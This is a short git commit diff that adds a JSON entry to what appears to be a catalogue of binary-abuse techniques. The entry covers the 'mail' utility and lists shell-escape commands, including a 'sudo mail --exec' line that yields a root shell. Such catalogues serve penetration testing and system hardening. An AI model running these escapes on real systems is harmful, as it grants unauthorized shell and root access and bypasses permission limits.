add data for mail
parent
f24e2e7e8b
commit
0096472362
@ -0,0 +1,20 @@
|
||||
{
|
||||
"functions": {
|
||||
"shell": [
|
||||
{
|
||||
"description": "GNU version only.",
|
||||
"code": "mail --exec='!/bin/sh'"
|
||||
},
|
||||
{
|
||||
"description": "This creates a valid Mbox file which may be required by the binary.",
|
||||
"code": "TF=$(mktemp)\necho \"From nobody@localhost $(date)\" > $TF\nmail -f $TF\n!/bin/sh\n"
|
||||
}
|
||||
],
|
||||
"sudo": [
|
||||
{
|
||||
"description": "GNU version only.",
|
||||
"code": "sudo mail --exec='!/bin/sh'"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue